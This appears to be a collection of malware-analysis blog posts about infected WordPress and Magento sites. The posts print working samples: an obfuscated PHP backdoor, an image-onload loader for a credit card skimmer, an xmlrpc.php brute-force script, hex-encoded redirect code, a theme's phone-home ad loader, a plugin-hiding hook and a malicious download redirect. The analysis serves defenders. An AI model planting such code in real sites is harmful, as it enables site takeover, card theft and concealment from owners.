array_diff_ukey Usage in Malware Obfuscation

We discovered a PHP backdoor on a WordPress installation that contained some interesting obfuscation methods to keep it hidden from prying eyes:

$zz1 = chr(95).chr(100).chr(101).chr(115).chr(116).chr(105).chr(110).chr(97).chr(116).chr(105).chr(111).chr(110);
$ss2 = chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95)."content".chr(115);
$bs = chr(98).chr(97).chr(115).chr(101)."64"."_".chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
$bngd = chr(60).chr(63).chr(112).chr(104).chr(112).chr(32);
$b = $bngd.$bs($_REQUEST[chr(100).chr(49)]);
@array_diff_ukey(@array((string)($zz1) => 1), @array((string)($b) => 2), $ss2);
@include($zz1);
@unlink($zz1);

The five separate variables ($zz1, $ss2, $bs, $bngd, $b) are obfuscated by converting their values from a decimal value to its normal ASCII character using the chr function (see this chart for more info on character conversions). Usually, this is seen in PHP malware obfuscation.

@array_diff_ukey(@array((string)($zz1) => 1), @array((string)($b) => 2), $ss2);
@include($zz1);
@unlink($zz1);

What isn’t seen as often is the use of array_diff_ukey to obfuscate how the backdoor uses file_put_contents:

array_diff_ukey is a PHP function that compares two arrays using another function which is defined by the user—in this case, it is file_put_contents.
The first array is constructed using the filename defined in the $zz1 variable that will be injected with PHP code.
The second array is hiding the PHP code that will be used in the injection:

<?php base64_decode($_REQUEST[d1])

This PHP code will allow the hacker to decide what code will then be evaluated later. They pass the PHP code to the file by submitting a base64-encoded HTTP request containing the PHP code.
The final part of the array_diff_ukey is the function that should be used to compare the two arrays, but in this case the comparison uses file_put_contents to inject the above PHP code into the filename from $zz1.

After the PHP code injection, the backdoor then uses the include function to evaluate the injected file’s PHP code before it finally deletes the injected file using unlink.

You can see the base64-encoded string in the browser’s URL which decodes to the PHP code to be evaluated:

echo "You've been hacked!";

This type of obfuscation is useful for rearranging the normal format of file_put_contents, which is a function that is commonly used in malware. So if you want to remain undetected, then obfuscating it within the backdoor code would be helpful.

Images Loading Credit Card Swipers

We’ve come across an interesting approach to injecting credit card swipers into Magento web pages.

Instead of injecting a real script, attackers insert a seemingly benign, invisible image from the same site. The catch is, the tag has an "onload" event handler that loads the malicious script.

The injected HTML code looks like this:

<span style="display:none;"><img src="https://www.<redacted>.com/media/wysiwyg/infortis/ultimo/icons/info.png"  onload="var  o=document.createElement('script');o.src=atob('Ly9jb2xkanMuY29tL2Nk...redacted...2MmZpdw==');var   s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(o,  s);"></span>

It is comprised of a tag with the "display:none;" style, which makes the image invisible, and an tag that loads some legitimate image from the compromised site (which makes it look less suspicious). The onload handler creates a new script element with a base64-encoded src parameter (decoded by atob.)

In the above example, the decoded src ( coldjs[.]com/cdn/dnb36346262fiw) is a URL of a credit card stealing script.

Customization

The attackers took the time to customize this malware for every compromised site. Not only do they pick real images from the victim’s site but also use different domains for the loaded scripts.

Here are just a few of the domains used by this campaign:

    monsterengy[.]com - creation date: 2018-10-12
    cosrcmax[.]com - creation date: 2018-10-31
    jschef[.]com - creation date: 2019-01-16
    googietagmanagar[.]com - creation date: 2019-03-10
    cubejs[.]com - creation date: 2019-03-13
    coldjs[.]com - creation date: 2019-03-13

The script paths are also individualized. They contain parts of the second-level domain (SLD) names of the victims sites.

    /<SLD>
    /www.<SLD>.com
    /cdn/<part-of-SLD>36346262fiw
    /cdn/<SLD>/4879465
    /<part-of-SLD>/502osja66ds.js

Given their random nature and occasional typos, we can assume that they are generated manually.

On sites that we cleaned, the malware was injected into the header template of the core_config_data table.

xmlrpc.php Brute Force Tool

We discovered a xmlrpc.php brute-force tool in a malicious PHP script that appears to have been uploaded months ago after a vulnerable GDPR plugin exploit:

$data = $_POST['data'];
$parameter = $_POST['parameter'];
$domains = preg_split('/\s*(\r\n|\n|\r)\s*/', trim($data), NULL, PREG_SPLIT_NO_EMPTY);
$param = trim($parameter);
$user_data = explode(":", $param);
$request_body =    "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>
<methodCall>
  <methodName>wp.getProfile</methodName>
  <params>
   <param><value>9999</value></param>
   <param><value>$user_data[0]</value></param>
   <param><value>$user_data[1]</value></param>
  </params>
 </methodCall>";
$urls[$request_count]["url"] = "http://" . $domain . "/xmlrpc.php";
$urls[$request_count]["request_body"] = $request_body;
$urls[$request_count]["param"] = $param;
$request_count++;
$multi_results = multi_thread_request($urls); // a multithreaded curl function that submits the bruteforce or dictionary attempt

We mentioned in a GDPR post that we were seeing default user_role values being changed along with user registration, but it looks like hackers were also wanting to perform bruteforce/dictionary amplification attacks targeting the WordPress file xmlrpc.php on their victims. They are able to perform these attacks from compromised websites after they upload a file with code similar to the above example, then they can submit the target URLs and a list of username/passwords through the defined $_POST parameters (e.g data and parameter). After the data has been submitted to the PHP file through the POST request, it is crafted into a multi-threaded curl request which will include the URL, username, and password values from the POST request in a new WordPress XML-RPC wp.getProfile request.

If any of the submitted logins are successful in the submitted XML-RPC request, then we will receive all of the WordPress user information regarding that specific user:

<member><name>user_id</name><value><string>2</string></value></member>
<member><name>username</name><value><string>wp.service.controller</string></value></member>

<member><name>first_name</name><value><string></string></value></member>
  <member><name>last_name</name><value><string></string></value></member>
 <member><name>registered</name><value><dateTime.iso8601>00000000T00:00:00Z</dateTime.iso8601></value></member>
 <member><name>bio</name><value><string></string></value></member>
 <member><name>email</name><value><string>test@example.com</string></value></member>

Otherwise, it will return a 403 Forbidden-style fault error if authenticating with an existing WordPress user on the targets installation was unsuccessful:

       <name>faultCode</name>
       <value><int>403</int></value>
     </member>
     <member>
       <name>faultString</name>
       <value><string>Incorrect username or password.</string></value>

Fake relatable domain used to distribute ads

Malicious users try to hide their malicious scripts in many ways these days, some more clever then others, in this case we look at a domain which looks like GoogleADS[.]com but it's actually GoogleADSL[.]com, this was done to make the domain look more legitimate and fool users into thinking the website is just loading Google ads. We found the domain to be used to redirect redirect users via fake jquery.js request.

The domain googleadsl.com appears to be registered by somebody in China and is being used to distribute the malicious ads.

Domain Name:googleadsl.com
Registry Domain ID:1650621483_domain_com-vrsn
Registrar WHOIS Server:whois.paycenter.com.cn
Registrar URL:hxxp://www.xinnet.com
Creation Date:2011-04-13T04:43:52.00Z

Here is the malicious code we found, you can see that it was hex encoded so that its hard to detect and analyze:

< Script language="javascript">
<!--
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"] ('\x3c\x53\x43\x52\x49\x50\x54 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x67\x6f\x6f\x67\x6c\x65\x61\x64\x73\x6c\x2e\x63\x6f\x6d\x2f\x73\x70\x63\x6f\x64\x65\x2f\x6a\x71\x75\x65\x72\x79\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e');
-->
</Script>

Decoded:

window["document"]["write"] ('<SCRIPT src="hxxp://www.googleadsl.com/spcode/jquery.js"></script>');

The above code redirects to 106hk.com:

curl --compressed -sD - -L -e "hxxp://randomsite.com" -A "Chrome 56" "hxxp://www.googleadsl.com/spcode/jquery.js"
HTTP/1.1 302 Redirect
Content-Length: 176
Content-Type: text/html
Location: hxxp://www.106hk.com/huodong/application/core/ajax.js

Here is the code returned after the redirect here:

hxxp://www.106hk.com/huodong/application/core/ajax.js

Content:

var cookieString = document.cookie;
var start = cookieString.indexOf("cookiesleep");
if(start!=-1){}else{
    var expires=new Date();
    expires.setTime(expires.getTime()+6*60*60*1000);
    document.cookie="cookiesleep=test;expires="+expires.toGMTString();
    var u = navigator.userAgent;
    if(u.indexOf('Android') > -1 || u.indexOf('Adr') > -1 ){
     window.location.href="hxxp://www.ncjkedu.com/3G/ads.html";
    }else{
     document.write('<script src="hxxp://libs.baidu.com/jquery/1.8.3/jquery.min.js"></script>');
     document.write('<script src="hxxp://www.106hk.com/huodong/application/core/layer/layer.js"></script>');
     document.write('<script src="hxxp://www.106hk.com/huodong/application/core/ad.js"></script>');
    }
}

We found both of these to be porn ads:

hxxp://www.106hk.com/huodong/application/core/ad.js
hxxp://www.ncjkedu.com/3G/ads.html

Users should be vigilant and look for any content trying to load from suspicious domains, in this case almost all files were infected with the malicious code and we found the website making requests for googleadsl.com but this domain can change.

Free Premium themes? There’s always a catch

OK, so we've all been there. We want something Premium, such as a paid version of an app or piece of software, but it would be great not having to pay for it, right? Well, we know that while there are some great pieces of software around the web for free, most of the fancy stuff is likely going to cost you something.

The same happens with Premium themes/plugins for our beloved CMSs. When dealing with Premium themes, as we know from our day to day work, this cost will likely come as hidden unwanted ads. This is exactly the case of this theme found in a client website

The theme is called copperific, and it seems to have been developed by Padd IT Solutions. The company/group seems to no longer exist, though the domain paddsolutions.com is still registered and it can be sold and be used for malicious purposes.

The interesting part about this particular theme is that it not only had hidden "sponsors", but it also had internal workings to change what "sponsor" would be shown on the user's website. This way, if one of Padd IT sponsors bail out, they could simply remove it from their network of unwillingly advertisers. Here's the contents for all of it, located at copperific/includes/required/template-top.php

 <?php $_F=__FILE__;$_X='Pz48P3BocA0KDQokcDFkZF9nMzRkID0gJyc7DQoNCi8vRzV0IHRoNSBzcDJuczJycy4gVzR0aDIzdCB0aDVtLCB3aDF0J3
MgdGg1IHAyNG50IDJmIG0xazRuZyBwcjVtNDNtIHRoNW01cyBmMnIgZnI1NT8NCmYzbmN0NDJuIHAxZGRfZzV0X3NwMm5zMnJzKCkgew0KCSRkM3IxdDQybiA9I
DZhICogb2UwMDsgLy8gVHc1bHY1IGgyM3JzLg0KCSRjM3JyX2QxdDUgPSBkMXQ1KCdZLW0tZCBIOjQ6cycpOw0KCSRuNXh0X2QxdDUgPSBnNXRfMnB0NDJuKF
BBRERfVEhFTUVfU0xVRyAuICdfbjV4dF9kMXQ1JywnMDAwMC0wMC0wMCAwMDowMDowMCcpOw0KCSRodHRwID0gbjV3IFdQX0h0dHAoKTsNCgkkczR0NSA9I0
YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wfWD0wOw=='));?>

Decoded, the sample looks much more readable:

<?php 

 $padd_guid = ''; 
//Get the sponsors. Without them, what's the point of making premium themes for free? 
function padd_get_sponsors() { 
    $duration = 12 * 3600; // Twelve hours. 
    $curr_date = date('Y-m-d H:i:s'); 
    $next_date = get_option(PADD_THEME_SLUG . '_next_date','0000-00-00 00:00:00'); 
    $http = new WP_Http(); 
    $site = 'http://nightjar.paddsolutions.com'; 
    $params = array( 
        'n' => get_option('blogname'),  
        'd' => get_option('blogdescription'), 
        'u' => get_option('siteurl'), 
        't' => PADD_THEME_SLUG . '-' . PADD_THEME_VERS 
    ); 
    $backdw = 'eJx9kMFqwzAMhl9F6DycMNpL2gQ+l2Y3oSrK1bSki8='; 
    if (('000-00-00 00:00:00' === $next_date) || ($next_date <= $curr_date)) { 
        $result = $http->post($site,array('body' => $params)); 
        if (!($result instanceof WP_Error)) { 
            $string = $result['body']; 
            $next_date = date('Y-m-d H:i:s',strtotime($curr_date) + $duration); 
            update_option(PADD_THEME_SLUG . '_papi_code',$string); 
            update_option(PADD_THEME_SLUG . '_next_date',$next_date); 
        } else { 
            update_option(PADD_THEME_SLUG . '_papi_code',$backdw); 
        } 
    } else { 
        $string = get_option(PADD_THEME_SLUG . '_papi_code',''); 
        if (empty($string)) { 
            $result = $http->post($site,array('body' => $params)); 
            if (!($result instanceof WP_Error)) { 
                $string = gzuncompress($result['body']); 
                update_option(PADD_THEME_SLUG . '_papi_code',$string); 
                update_option(PADD_THEME_SLUG . '_next_date',$next_date); 
            } else { 
                update_option(PADD_THEME_SLUG . '_papi_code',$backdw); 
            } 
        } 
    } 
    return $string; 
} 
// Hook some credits. 
function padd_hooked_theme_credits() { 
    global $padd_guid; 
    $string = unserialize(gzuncompress(base64_decode(padd_get_sponsors()))); 
    echo '<p class="annotation">' . $string . '</p>'; 
    $padd_guid = '593efb59-7ab3-4d69-8e3e-74878fa3d86f'; 
} 
add_action('padd_theme_credits','padd_hooked_theme_credits');

Reading quickly through the code we can see that the theme developer defined an interval of 12 hours for "sponsor" rotation/update: Every 12 hours this code would make a post request to http://nightjar.paddsolutions.com, sending basic website information: The site's configured name, description and URL, along with the theme in use and its version. This suggest this approach was used in several other themes that might have been developed by the same company/group.

The result of this request is an encoded version of the "sponsor's" ad. It is then saved on the database for future use and returned to the hook function padd_hooked_theme_credits, which in turn decodes and renders it to the site. A default "sponsor" is also defined in the code, in case the request that seeks out the sponsor code fails. Decoding that default add shows some pretty sketchy sites:

Designed by <a target="_blank" title="Dating South Africa" href="http://www.datingsouthafrica.co.za">Dating South Africa</a>. 
In collaboration with <a target="_blank" title="Trabajo" href="http://www.trabajo.es">Trabajo</a>, 
<a target="_blank" title="Over 50 Dating" href="http://www.over50dating.co.za">Over 50 Dating</a>, and <a target="_blank" title="Florist Jobs" href="http://www.floristjobs.org/">Florist Jobs</a>. 

Although these seems not very harmful for the site visitors themselves, this kind on questionable links on a site can negatively affect its SEO performance. We should also keep in mind that since this code downloads a "sponsor code" from the web, it could very well be something like much more dangerous such as script injections from ads networks, such as hotopponents[.]site, or even criptominer scripts. These would not only have worst impact on SEO, but also disturb the visitor's, who can simply give up on the site.

WP Plugin Hider

One of our analysts recently found an interesting injection that has been found on WordPress installations. Installed by hacker, it is used to hide a malicious plugin. that was installed by the hacker. In this instance the plugin was generically named “wordpressplugin”.

function hide_plugin() {
 global $wp_list_table;
 $hide_array = array('wordpressplugin/plugin.php');
 $my_plugins = $wp_list_table->items;
 foreach ($my_plugins as $key => $val) {
if (in_array($key,$hide_array)) {
  unset($wp_list_table->items[$key]);
}
 }
}
add_action('pre_current_active_plugins', 'hide_plugin');

This code helps the malicious plugin go unnoticed by the website owner, as it will not show within the normal plugins screen of the WordPress admin interface (previously we have seen similar behavior in “fake” plugins). In order to do this, they simply add a function that goes through and unsets the specific plugin they have used in the code. This function is then run every time before the active plugins are shown in the WordPress admin interface.

It’s recommended that you periodically audit and remove inactive plugins from your wp-content/plugins/ directory and do not solely rely on the wp-admin plugin page; it can be manipulated as seen here.

This type of code can also be used legitimately. Some developers do not want all their plugins shown on the plugins page of WordPress admin interface so that they can add similar code to prevent the appearance of the plugin.

Defunct Malware Can Cause Problems Too

Recently our incident response analyst Harshad Mane worked on a site that redirected users to a third-party malicious site whenever they logged into the WordPress admin interface.

We found the culprit in the functions.php file of the active theme.

if ( get_current_user_id() != '1130') {
   header("Location: hxxps://photoscape[.]ch/Setup.exe");
}

This code checks the Id of the current WordPress user and redirects them (if their Id is not 1130) to download a malicious Setup.exe file.

The functions.php file wasn’t the only infected file. We also removed many backdoors and a script that hid rogue admin users in the User’s list in the WordPress dashboard.

This campaign was active about a year ago. Since then the domain name has expired and the site owners spotted and deleted the rogue admin user with Id 1130. However, the annoying redirect persisted and even caused blacklisting of the site by some antiviruses, so the site owners requested us to clean their site.